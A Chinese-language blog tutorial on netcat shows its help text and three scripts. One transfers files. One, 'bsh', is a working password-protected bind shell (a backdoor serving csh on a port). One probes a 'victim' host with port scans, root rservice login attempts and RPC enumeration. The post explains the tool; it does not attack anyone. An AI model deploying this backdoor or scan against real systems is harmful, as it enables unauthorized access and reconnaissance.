nc使用技巧

 

一、基本使用 

Quack# nc -h 
[v1.10] 
想要连接到某处
:   nc [-options] hostname port[s] [ports] ... 
绑定端口等待连接
:     nc -l -p port [-options] [hostname] [port] 
参数

        -e prog                 
程序重定向,一旦连接,就执行 [危险
!!] 
        -g gateway              source-routing hop point[s], up to 8 
        -G num                  source-routing pointer: 4, 8, 12, ... 
        -h                      
帮助信息
 
        -i secs                 
延时的间隔
 
        -l                      
监听模式,用于入站连接
 
        -n                      
指定数字的IP地址,不能用
hostname 
        -o file                 
记录16进制的传输
 
        -p port                 
本地端口号
 
        -r                      
任意指定本地及远程端口
 
        -s addr                 
本地源地址
 
        -u                      UDP
模式
 
        -v                      
详细输出——用两个-v可得到更详细的内容
 
        -w secs                 timeout
的时间
 
        -z                      
将输入输出关掉——用于扫描时
 
       
其中端口号可以指定一个或者用lo-hi式的指定范围。
 

二、用于传输文件
——ncp 

#! /bin/sh 
## 
类似于rcp,但是是用netcat在高端口做的
 
## 
在接收文件的机器上做
"ncp targetfile" 
## 
在发送文件的机器上做
"ncp sourcefile receivinghost" 
## 
如果调用了 "nzp" ,会将传输文件压缩
 

## 
这里定义你想使用的端口,可以自由选择
 
MYPORT=23456 

## 
如果nc没有在系统路径中的话,要把下面一行注释去掉,加以修改
 
# PATH=${HOME}:${PATH} ; export PATH 

## 
下面这几行检查参数输入情况
 
test "$3" && echo "too many args" && exit 1 
test ! "$1" && echo "no args?" && exit 1 
me=`echo $0 | sed 's+.*/++'` 
test "$me" = "nzp" && echo '[compressed mode]' 

# if second arg, it's a host to send an [extant] file to. 
if test "$2" ; then 
  test ! -f "$1" && echo "can't find $1" && exit 1 
  if test "$me" = "nzp" ; then 
    compress -c < "$1" | nc -v -w 2 $2 $MYPORT && exit 0 
  else 
    nc -v -w 2 $2 $MYPORT < "$1" && exit 0 
  fi 
  echo "transfer FAILED!" 
  exit 1 
fi 

是否在接收文件机器当前目录有同名文件
 
if test -f "$1" ; then 
  echo -n "Overwrite $1? " 
  read aa 
  test ! "$aa" = "y" && echo "[punted!]" && exit 1 
fi 
# 30 seconds oughta be pleeeeenty of time, but change if you want. 
if test "$me" = "nzp" ; then 
注意这里nc的用法,结合了重定向符号和管道
 
  nc -v -w 30 -p $MYPORT -l < /dev/null | uncompress -c  > "$1" && exit 0 
else 
  nc -v -w 30 -p $MYPORT -l < /dev/null > "$1" && exit 0 
fi 
echo "transfer FAILED!" 
# clean up, since even if the transfer failed, $1 is already trashed 
rm -f "$1" 
exit 1 

这样的话,我只要在A机器上先
 QuackA# ncp ../abcd 
listening on [any] 23456 ... 
然后在另一台机器B
 
QuackB#ncp abcd 192.168.0.2 
quackb [192.168.0.1] 23456 (?) 
A
机上出现
 
open connect to [192.168.0.2] from quackb [192.168.0.1] 1027 

查看一下,文件传输完毕。
 

三、用于绑定端口
——bsh 

首先要清楚,如果你编译netcat时仅用如make freebsd之类的命令来编译的话,这个工
 
具是无法利用的——define一个GAPING_SECURITY_HOLE它才会提供-e选项。
 

#! /bin/sh 
## 
一个利用nc的绑定shell并且带有密码保护的脚本
 
## 
带有一个参数,即端口号
 

NC=nc 

case "$1" in 
  ?* ) 
  LPN="$1" 
  export LPN 
  sleep 1 
  #
注意这里nc的用法,参数-llister-e是执行重定向
 
  echo "-l -p $LPN -e $0" ; $NC -l -p $LPN -e $0 > /dev/null 2>&1 & 
  echo "launched on port $LPN" 
  exit 0 
  ;; 
esac 

# here we play inetd 
echo "-l -p $LPN -e $0" ; $NC -l -p $LPN -e $0 > /dev/null 2>&1 & 

while read qq ; do 
case "$qq" in 
这里就是弱密码保护了,密码是
quack 
  quack ) 
  cd / 
  exec csh -i 
  ;; 
esac 
done 

要看看它是怎么使用的么?
 
quack# ./bsh 6666  <-------
输入,后面是程序输出
 
-l -p 6666 -e ./bsh 
launched on port 6666 
quack# 
quack## nc localhost 6666  <----------
输入
 
-l -p 6666 -e ./bsh 
quack    <----------
输入,密码验证
 
Warning: imported path contains relative components 
Warning: no access to tty (Bad file descriptor). 
Thus no job control in this shell. 
Cracker# 

四、 用于端口扫描
——probe 

在我们常见的一些端口扫描程序中,如Vetescan这类以shell script写成的话,很多都
 
需要系统中装有netcat,原因何在呢?看看下面的script,你或许会明白一些。
 

#! /bin/sh 
## launch a whole buncha shit at yon victim in no particular order; capture 
## stderr+stdout in one place.  Run as root for rservice and low -p to work. 
## Fairly thorough example of using netcat to collect a lot of host info. 
## Will set off every intrusion alarm in existence on a paranoid machine! 

该目录里有一些小工具
 
DDIR=../data 
指定网关
 
GATE=192.157.69.11 

# might conceivably wanna change this for different run styles 
UCMD='nc -v -w 8' 

test ! "$1" && echo Needs victim arg && exit 1 

echo '' | $UCMD -w 9 -r "$1" 13 79 6667 2>&1 
echo '0' | $UCMD "$1" 79 2>&1 
# if LSRR was passed thru, should get refusal here: 
要注意这里的用法,其实nc的这些参数掌握好可以做很多事情
 
$UCMD -z -r -g $GATE "$1" 6473 2>&1 
$UCMD -r -z "$1" 6000 4000-4004 111 53 2105 137-140 1-20 540-550 95 87 2>&1 
# -s `hostname` may be wrong for some multihomed machines 
echo 'UDP echoecho!' | nc -u -p 7 -s `hostname` -w 3 "$1" 7 19 2>&1 
echo '113,10158' | $UCMD -p 10158 "$1" 113 2>&1 
rservice bin bin | $UCMD -p 1019 "$1" shell 2>&1 
echo QUIT | $UCMD -w 8 -r "$1" 25 158 159 119 110 109 1109 142-144 220 23 2>&1 
# newline after any telnet trash 
echo '' 
echo PASV | $UCMD -r "$1" 21 2>&1 
echo 'GET /' | $UCMD -w 10 "$1" 80 81 210 70 2>&1 
# sometimes contains useful directory info: 
知道robots.txt是什么文件么?
;) 
echo 'GET /robots.txt' | $UCMD -w 10 "$1" 80 2>&1 
# now the big red lights go on 
利用小工具rservice来尝试,该工具可以在nc110.tgzdata目录里找到
 
rservice bin bin 9600/9600 | $UCMD -p 1020 "$1" login 2>&1 
rservice root root | $UCMD -r "$1" exec 2>&1 
echo 'BEGIN big udp -- everything may look "open" if packet-filtered' 
data -g < ${DDIR}/nfs-0.d | $UCMD -i 1 -u "$1" 2049 | od -x 2>&1 
# no wait-time, uses RTT hack 
nc -v -z -u -r "$1" 111 66-70 88 53 87 161-164 121-123 213 49 2>&1 
nc -v -z -u -r "$1" 137-140 694-712 747-770 175-180 2103 510-530 2>&1 
echo 'END big udp' 
$UCMD -r -z "$1" 175-180 2000-2003 530-533 1524 1525 666 213 8000 6250 2>&1 
# Use our identd-sniffer! 
iscan "$1" 21 25 79 80 111 53 6667 6000 2049 119 2>&1 
# this gets pretty intrusive, but what the fuck.  Probe for portmap first 
if nc -w 5 -z -u "$1" 111 ; then 
  showmount -e "$1" 2>&1   #
showmountrpcinfo的使用,可能会被逮到
;) 
  rpcinfo -p "$1" 2>&1 
fi 
exit 0  
 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值